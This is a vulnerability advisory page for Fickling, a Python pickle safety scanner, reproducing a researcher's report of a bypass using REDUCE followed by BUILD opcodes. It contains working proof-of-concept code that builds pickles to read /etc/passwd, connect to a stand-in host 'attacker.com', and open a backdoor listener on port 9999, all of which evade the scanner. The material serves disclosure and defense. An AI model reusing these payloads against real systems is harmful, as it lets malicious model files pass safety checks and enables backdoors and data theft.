Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
5.3

Fickling Fails to Detect Dangerous Python Code in Pickle Files

GHSA-mhc9-48gj-9gp3
Summary

Fickling, a tool used for analyzing Python pickle files, can be tricked into thinking a file is safe even if it contains code that could harm your system. This could allow an attacker to sneak malicious code into a pickle file, which could be used to create backdoors, steal data, or damage your system. To fix this issue, update to the latest version of Fickling, which has already been patched to address this problem.

What to do
  • Update fickling to version 0.1.8.
Affected software
VendorProductAffected versionsFix available
fickling <= 0.1.7 0.1.8
Original title
Fickling has safety check bypass via REDUCE+BUILD opcode sequence
Original description
# Assessment

It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).

# Original report

### Summary
All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.

## Details

The bypass exploits three weaknesses in fickling's static analysis pipeline:

1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.

2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.

3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).

### Affected versions

All versions through 0.1.7 (latest as of 2026-02-18).

### Affected APIs

- `fickling.is_likely_safe()` - returns `True` for bypass payloads
- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`
- `fickling --check-safety` CLI - exits with code 0
- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes
- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes



## PoC

A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:

```python
import io, struct, tempfile, os

def sbu(s):
"""SHORT_BINUNICODE opcode helper."""
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b

def make_exfiltration_pickle():
"""
Single pickle that:
1. Reads /etc/passwd via fileinput.input()
2. Opens TCP connection to attacker via smtplib.SMTP()
Both operations pass as LIKELY_SAFE.
"""
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()

# --- Operation 1: Read /etc/passwd ---
payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL
payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1
payload.write(b"R") # REDUCE
payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD
payload.write(b"0") # POP (discard result)

# --- Operation 2: Connect to attacker ---
payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL
payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1
payload.write(b"R") # REDUCE
payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD
payload.write(b".") # STOP

frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()

# Generate and test
data = make_exfiltration_pickle()
with open("/tmp/exfil.pkl", "wb") as f:
f.write(data)

import fickling
print(fickling.is_likely_safe("/tmp/exfil.pkl"))
# Output: True <-- BYPASSED (file read + network connection in one pickle)
```

fickling decompiles this to:
```python
from fileinput import input
_var0 = input('/etc/passwd') # reads /etc/passwd
_var1 = _var0
_var1.__setstate__({'_x': 'y'})
from smtplib import SMTP
_var2 = SMTP('attacker.com') # opens TCP connection to attacker
_var3 = _var2
_var3.__setstate__({'_x': 'y'})
result = _var3
```

Yet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded).

**CLI verification:**
```bash
$ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?"
EXIT: 0 # BYPASSED - file read + network access passes as safe
```

**`always_check_safety()` verification:**
```python
import fickling, pickle

fickling.always_check_safety()

# This should raise UnsafeFileError for malicious pickles, but doesn't:
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
```

**`check_safety()` context manager verification:**
```python
import fickling, pickle

with fickling.check_safety():
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
```

### Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

```python
import io, struct

def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b

def make_backdoor_listener():
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()

# socketserver.TCPServer via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")

# Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types
payload.write(b"(") # MARK
payload.write(sbu("0.0.0.0")) # host string
payload.write(b"J" + struct.pack("<i", 9999)) # BININT port
payload.write(b"t") # TUPLE

# Handler class via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")

payload.write(b"\x86") # TUPLE2 -> (address, handler)
payload.write(b"R") # REDUCE -> TCPServer(address, handler)
payload.write(b"N") # NONE
payload.write(b"b") # BUILD(None) -> no-op
payload.write(b".") # STOP

frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()

import fickling, pickle, socket
data = make_backdoor_listener()
with open("/tmp/backdoor.pkl", "wb") as f:
f.write(data)

print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED

server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server_close()
```

The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.

## Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:

- **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns.
- **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt.
- **Outbound exfiltration channels**: `smtplib.SMTP('attacker.com')`, `ftplib.FTP('attacker.com')`, `imaplib.IMAP4('attacker.com')`, `poplib.POP3('attacker.com')` open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname.
- **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path as a side effect of the constructor.
- **Additional bypassed modules**: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread

A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.

This affects any application using fickling as a safety gate for ML model files.

## Suggested Fix

Restrict `likely_safe_imports` to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the `OvertlyBadEvals` exemption for `likely_safe_imports` or expand the `UNSAFE_IMPORTS` blocklist to cover network/file/compilation modules.

## Relationship to GHSA-83pf-v6qq-pwmr

GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to `UNSAFE_IMPORTS` does NOT fix this vulnerability because the root cause is the `OvertlyBadEvals` exemption for `likely_safe_imports` (`analysis.py:304-310`), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include `socketserver`, `signal`, `sqlite3`, `threading`, `compileall`, and others beyond the scope of that advisory.
ghsa CVSS4.0 5.3
Vulnerability type
CWE-184
Published: 25 Feb 2026 · Updated: 7 Mar 2026 · First seen: 6 Mar 2026